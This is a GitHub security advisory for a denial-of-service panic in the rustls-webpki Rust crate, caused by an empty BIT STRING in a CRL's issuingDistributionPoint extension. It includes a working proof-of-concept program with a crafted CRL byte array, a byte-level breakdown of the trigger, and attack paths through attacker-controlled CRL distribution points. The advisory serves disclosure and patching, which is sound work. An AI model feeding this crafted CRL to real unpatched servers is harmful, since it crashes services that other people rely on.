GHSA-82J2-J2CH-GFR8
Vulnerability from github – Published: 2026-04-24 16:20 – Updated: 2026-04-24 16:20Summary
bit_string_flags() in src/der.rs panics with an index-out-of-bounds when given a BIT STRING whose content is exactly [0x00] (one byte: zero padding bits, zero data bytes). This is reachable through the public API BorrowedCertRevocationList::from_der() via the issuingDistributionPoint CRL extension.
Precondition: CRL checking is opt-in in rustls-webpki. This vulnerability affects only applications that explicitly pass RevocationOptions to verify_for_usage() and load CRL bytes from a source the attacker can influence. The default rustls configuration (no RevocationOptions) is not affected.
AI disclosure: This report was prepared with AI assistance (Claude). The vulnerability was discovered by differential fuzzing against a formally-verified Rust oracle. All technical claims have been independently verified against the live source code before submission.
Details
bit_string_flags() in src/der.rs reads the content of named-bit BIT
STRINGs (KeyUsage, ReasonFlags, etc.). Its input guard:
if padding_bits > 7 || (raw_bits.is_empty() && padding_bits != 0) {
return Err(Error::BadDer);
}
let last_byte = raw_bits[raw_bits.len() - 1]; // ← crash
misses the case padding_bits == 0 && raw_bits.is_empty().
When a BIT STRING has content [0x00] (one padding-bits byte set to zero, no data bytes):
- padding_bits = 0x00 — passes the > 7 check ✓
- raw_bits = [] — passes is_empty() && != 0 check ✓ (because 0 != 0 is false)
- raw_bits.len() - 1 = 0usize - 1 = underflow → usize::MAX
- raw_bits[usize::MAX] → panic
Debug: thread 'main' panicked: attempt to subtract with overflow Release: thread 'main' panicked: index out of bounds: the len is 0 but the index is 18446744073709551615
PoC
Cargo.toml:
[dependencies]
rustls-webpki = "0.102.8" # also reproduces on 0.103.12
src/main.rs:
fn main() {
let crl: &[u8] = &[
0x30, 0x65, 0x30, 0x50, 0x02, 0x01, 0x01, 0x30, 0x0d, 0x06, 0x09,
0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,
0x30, 0x0c, 0x31, 0x0a, 0x30, 0x08, 0x06, 0x03, 0x55, 0x04, 0x03,
0x13, 0x01, 0x41, 0x17, 0x0d, 0x32, 0x30, 0x30, 0x31, 0x30, 0x31,
0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0x17, 0x0d, 0x32, 0x31,
0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a,
0xa0, 0x10, 0x30, 0x0e, 0x30, 0x0c, 0x06, 0x03, 0x55, 0x1d, 0x1c,
0x04, 0x05, 0x30, 0x03, 0x83, 0x01, 0x00, 0x30, 0x0d, 0x06, 0x09,
0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,
0x03, 0x02, 0x00, 0x00,
];
// Panics — never returns
let _ = webpki::BorrowedCertRevocationList::from_der(crl);
}
output:
thread 'main' panicked at src/der.rs:...
index out of bounds: the len is 0 but the index is 18446744073709551615
Trigger
a0 10 -- cRLExtensions [0] EXPLICIT
30 0e -- SEQUENCE OF Extension
30 0c -- Extension SEQUENCE
06 03 55 1d 1c -- OID 2.5.29.28 (id-ce-issuingDistributionPoint)
04 05 -- OCTET STRING (extnValue)
30 03 -- IssuingDistributionPoint SEQUENCE
83 01 00 -- [3] onlySomeReasons: BIT STRING, len=1, content=0x00
-- padding_bits=0, data=[] ← TRIGGER
Impact
- Who is affected: Applications that (1) use rustls-webpki with CRL revocation checking explicitly enabled via RevocationOptions, and (2) load CRL bytes from a source an attacker can influence.
- Attack paths:
- mTLS server (most realistic): An attacker obtains any certificate from a CA that permits custom CDP URLs — common in enterprise PKI. They set the CDP to a server they control, serve the 103-byte crafted CRL, and connect to the target. The server fetches the attacker's CRL during the handshake and panics. No MITM required.
- TLS client with server-cert CRL checking: An attacker who can MITM an HTTP CRL distribution point (ARP/DNS poisoning on a local network) serves the crafted CRL in place of the legitimate one.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "rustls-webpki"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.103.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "rustls-webpki"
},
"ranges": [
{
"events": [
{
"introduced": "0.104.0-alpha.1"
},
{
"fixed": "0.104.0-alpha.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-24T16:20:17Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`bit_string_flags()` in `src/der.rs` panics with an index-out-of-bounds when given a BIT STRING whose content is exactly `[0x00]` (one byte: zero padding bits, zero data bytes). This is reachable through the public API `BorrowedCertRevocationList::from_der()` via the `issuingDistributionPoint` CRL extension.\n\n**Precondition**: CRL checking is opt-in in rustls-webpki. This vulnerability affects only applications that explicitly pass `RevocationOptions` to `verify_for_usage()` and load CRL bytes from a source the attacker can influence. The default rustls configuration (no `RevocationOptions`) is not affected.\n\n\u003e **AI disclosure**: This report was prepared with AI assistance (Claude). The vulnerability was discovered by differential fuzzing against a formally-verified Rust oracle. All technical claims have been independently verified against the live source code before submission.\n\n### Details\n`bit_string_flags()` in `src/der.rs` reads the content of named-bit BIT\nSTRINGs (KeyUsage, ReasonFlags, etc.). Its input guard:\n\n```rust\nif padding_bits \u003e 7 || (raw_bits.is_empty() \u0026\u0026 padding_bits != 0) {\n return Err(Error::BadDer);\n}\nlet last_byte = raw_bits[raw_bits.len() - 1]; // \u2190 crash\n```\nmisses the case `padding_bits == 0 \u0026\u0026 raw_bits.is_empty()`.\nWhen a BIT STRING has content `[0x00]` (one padding-bits byte set to zero, no data bytes):\n- padding_bits = 0x00 \u2014 passes the \u003e 7 check \u2713\n- raw_bits = [] \u2014 passes is_empty() \u0026\u0026 != 0 check \u2713 (because 0 != 0 is false)\n- raw_bits.len() - 1 = 0usize - 1 = underflow \u2192 usize::MAX\n- raw_bits[usize::MAX] \u2192 panic\n\n\nDebug: thread \u0027main\u0027 panicked: attempt to subtract with overflow\nRelease: thread \u0027main\u0027 panicked: index out of bounds: the len is 0\n but the index is 18446744073709551615\n\n### PoC\nCargo.toml:\n```\n[dependencies]\nrustls-webpki = \"0.102.8\" # also reproduces on 0.103.12\n```\nsrc/main.rs:\n```\nfn main() {\n let crl: \u0026[u8] = \u0026[\n 0x30, 0x65, 0x30, 0x50, 0x02, 0x01, 0x01, 0x30, 0x0d, 0x06, 0x09,\n 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,\n 0x30, 0x0c, 0x31, 0x0a, 0x30, 0x08, 0x06, 0x03, 0x55, 0x04, 0x03,\n 0x13, 0x01, 0x41, 0x17, 0x0d, 0x32, 0x30, 0x30, 0x31, 0x30, 0x31,\n 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0x17, 0x0d, 0x32, 0x31,\n 0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a,\n 0xa0, 0x10, 0x30, 0x0e, 0x30, 0x0c, 0x06, 0x03, 0x55, 0x1d, 0x1c,\n 0x04, 0x05, 0x30, 0x03, 0x83, 0x01, 0x00, 0x30, 0x0d, 0x06, 0x09,\n 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,\n 0x03, 0x02, 0x00, 0x00,\n ];\n // Panics \u2014 never returns\n let _ = webpki::BorrowedCertRevocationList::from_der(crl);\n}\n```\noutput:\n```\nthread \u0027main\u0027 panicked at src/der.rs:...\nindex out of bounds: the len is 0 but the index is 18446744073709551615\n```\n#### Trigger\n```\na0 10 -- cRLExtensions [0] EXPLICIT\n 30 0e -- SEQUENCE OF Extension\n 30 0c -- Extension SEQUENCE\n 06 03 55 1d 1c -- OID 2.5.29.28 (id-ce-issuingDistributionPoint)\n 04 05 -- OCTET STRING (extnValue)\n 30 03 -- IssuingDistributionPoint SEQUENCE\n 83 01 00 -- [3] onlySomeReasons: BIT STRING, len=1, content=0x00\n -- padding_bits=0, data=[] \u2190 TRIGGER\n```\n\n\n### Impact\n- Who is affected: \nApplications that (1) use rustls-webpki with CRL\nrevocation checking explicitly enabled via RevocationOptions, and (2)\nload CRL bytes from a source an attacker can influence.\n- Attack paths:\n - mTLS server (most realistic): An attacker obtains any certificate from a CA that permits custom CDP URLs \u2014 common in enterprise PKI. They set the CDP to a server they control, serve the 103-byte crafted CRL, and connect to the target. The server fetches the attacker\u0027s CRL during the handshake and panics. No MITM required.\n - TLS client with server-cert CRL checking: An attacker who can MITM an HTTP CRL distribution point (ARP/DNS poisoning on a local network) serves the crafted CRL in place of the legitimate one.",
"id": "GHSA-82j2-j2ch-gfr8",
"modified": "2026-04-24T16:20:17Z",
"published": "2026-04-24T16:20:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rustls/webpki/security/advisories/GHSA-82j2-j2ch-gfr8"
},
{
"type": "PACKAGE",
"url": "https://github.com/rustls/webpki"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2026-0104.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "rustls-webpki: Denial of service via panic on malformed CRL BIT STRING"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.